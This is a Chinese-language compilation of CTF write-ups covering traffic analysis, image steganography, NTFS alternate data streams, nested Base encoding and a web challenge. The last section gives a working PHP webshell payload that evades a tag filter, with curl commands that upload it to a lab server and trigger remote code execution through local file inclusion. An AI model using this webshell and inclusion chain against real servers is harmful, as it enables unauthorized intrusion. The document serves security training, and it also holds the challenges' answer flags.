CTF Writeup 合集

本文汇总了一些网上的题目的全部解题过程,涵盖 MISC、Crypto、WEB三个方向,共五道题目。以下是详细的解题思路与过程。
一、Passwd

**题目类型:**MISC(流量分析)

**题目附件:**passwd.zip

**题目描述:**flag形式为flag{xxx}

解题过程

打开附件是一个 pcap 流量包文件,用 Wireshark 打开进行流量分析。首先追踪 TCP 流,搜索关键字 flag 或者 password,发现了一段包含用户名和密码的数据。

追踪 TCP 流后发现用户名和密码信息,但密码部分存在特殊字符,需要以 Hex 方式查看。

通过 Hex 转储查看发现,特殊字符对应的 Hex 值为 7F,这是一个删除控制字符(DEL),将其恢复后即可得到完整的用户名和密码。

恢复特殊字符后,得到完整的凭据信息,直接作为 flag 提交。
flag{backd00Rmate}
二、Only one picture

**题目类型:**MISC

**题目附件:**misc_Only one picture.zip

**题目描述:**这张图片是谁的呢?

解题过程

解压附件得到一张图片文件,根据题目提示和"这张图片是谁的呢"的描述,首先用 010 Editor 查看文件的头部和尾部结构,发现文件末尾隐藏了一个 ZIP 压缩包。

将隐藏的压缩包分离保存后尝试解压,发现需要输入密码。回到题目提示"这张图片是谁的呢?",查看图片的属性信息(EXIF信息),在其中找到了密码线索。

使用从图片属性中获取的密码成功解压压缩包,即可得到 flag。


flag{d349bd48-5e00-4159-8b4a-008bb48502c5}
三、流

**题目类型:**MISC

**题目附件:**liu.zip

**题目描述:**Nothing here. flag格式为CTF{xxx}

解题过程

解压附件得到一个 liu.vmdk 虚拟磁盘文件。首先使用 7-Zip 解压该文件,从中提取出一个文件,根据文件名推测其可能指向 flag 的存储位置。

提取出关键文件后,用 Autopsy(或随波逐流工具)打开 vmdk 磁盘镜像进行文件系统分析。通过 NTFS 交替数据流(ADS)技术发现了隐藏的 flag 数据。

该题考查的是 NTFS 交替数据流(Alternate Data Streams)的知识点,这是一种在 NTFS 文件系统中隐藏数据的技术。
CTF{NTFS_ADS}
四、bucket

**题目类型:**Crypto

**题目附件:**bucket.zip

**题目描述:**解密Base全家桶。

解题过程

题目提示为"Base全家桶",解压附件后打开 cipher.txt 文件,发现是一串数字编码数据。

第一层:Hex 解码

原始数据 34413441... 只包含 0-9 和 A-F,且长度很长,初步判断为十六进制(Hex)编码。第一次 Hex 解码后得到 4A4A4645...,仍然是 Hex 编码,继续进行第二次 Hex 解码。

第二层:Base32 解码

第二次 Hex 解码后得到 JJFEMRKNKJFU4S2K... 这串字符全部大写、包含数字 2-7、无 +/= 符号,这些特征明显符合 Base32 编码的字符集特征。

第三层:Base32 多层嵌套

经过分析发现 Base32 编码进行了多层嵌套,连续解 7 次 Base32 后最终得到明文。解码过程可以使用 CyberChef 等工具,也可以编写 Python 脚本进行自动化处理。
flag{8ddce78c660f0f6fa4ac1f0d0de6ca18}
、WELCOME TO CTF

**题目类型:**WEB

**目标地址:**172.29.254.78

**漏洞类型:**LFI(本地文件包含)+ 文件上传 → RCE

1. 信息收集

访问首页 index.php,URL 中 file 参数直接控制包含的文件,存在 LFI(本地文件包含)漏洞:
http://172.29.254.78/index.php?file=hello.php

查看页面源代码,发现注释泄露了上传页面路径 upload.php,同时响应头中包含一条 HTML 实体编码的 Base64 提示,解码后得到 include.php。

2. 漏洞分析

2.1 LFI 漏洞 (index.php)

后端对 file 参数进行了过滤:拦截 php://、http、data、ftp、input、%00 等协议,禁止目录遍历(..),限制字符串长度不超过70。但过滤规则支持绝对路径包含,且对文件扩展名无限制,因此可以通过包含上传的图片文件来执行代码。

2.2 文件上传 (upload.php)

上传页面存在以下限制:仅允许图片扩展名(gif/jpeg/jpg/png),检查 Content-Type,文件会被重命名为 YmdHis+随机数.jpg,并且 <?php 标签会被替换为下划线。

3. 利用过程

3.1 绕过内容过滤

<?php 和 ?> 标签被替换为下划线,但 PHP 还支持其他脚本标记。使用 <script language="php"> 标签可以成功绕过内容过滤:
<script language="php">system($_GET"cmd")</script>

3.2 上传 Webshell

创建 payload 文件

echo '<script language="php">system($_GET"cmd")</script>' > payload.jpg

上传 payload

curl -F "file=@payload.jpg" -F "submit=上传" http://172.29.254.78/upload.php

上传成功后,文件被保存为 upload/20260430XXXXXX.jpg(YmdHis + 4位随机数)。

3.3 LFI 触发 RCE

通过 LFI 包含上传的图片 webshell,实现远程代码执行:
curl "http://172.29.254.78/index.php?file=upload/20260430XXXXXX.jpg\&cmd=ls -la /"

3.4 查找 Flag 文件

列出 Web 目录后,在其中发现了 Flag 文件 this_is_th3_F14g_66666999999.txt,读取即可获得 flag。

4. 攻击链总结

本题的完整攻击链为:信息收集发现 LFI 漏洞和文件上传功能 → 绕过文件上传的内容过滤(使用 <script language="php"> 标签) → 上传图片 Webshell → 通过 LFI 包含上传的图片文件 → 实现 RCE → 读取 Flag 文件。
KEY{uP666_1nclud3_499998_is_Fun}

相关推荐
山东科恩光电39 分钟前
智能化折弯机保护装置提升工业安全与效率的新途径
安全
Acrellea1 小时前
适配新标准!AIM-T500L 助力算力中心 800V 直流系统安全运维
运维·安全·系统安全
Rauser Mack2 小时前
桌面AI的范式转变:AI Agent 安全架构与多工作空间隔离实践
人工智能·安全·安全架构
衡石科技2 小时前
HENGSHI BOX|全域智控,私域安全的ChatBI一体机
大数据·人工智能·安全
数据知道2 小时前
恶意软件分析实验室搭建——沙箱、快照、网络隔离
网络·安全·web安全·网络安全
西柚小萌新2 小时前
【论文阅读】--AgentPoison:通过投毒记忆库或知识库对LLM智能体进行红队测试
网络·安全
浪子明X2 小时前
把模型调用做成可计量流水线:路由、SSE 与安全门禁的工程实践
安全
张继雁2 小时前
不同类型磨削液使用安全注意事项
人工智能·深度学习·安全·业界资讯·远程工作·空间计算
IPdodo_3 小时前
静态 IP 访问异常排查:403/429 归因与迁移验收
服务器·网络·数据库·python·网络协议·php·性能测试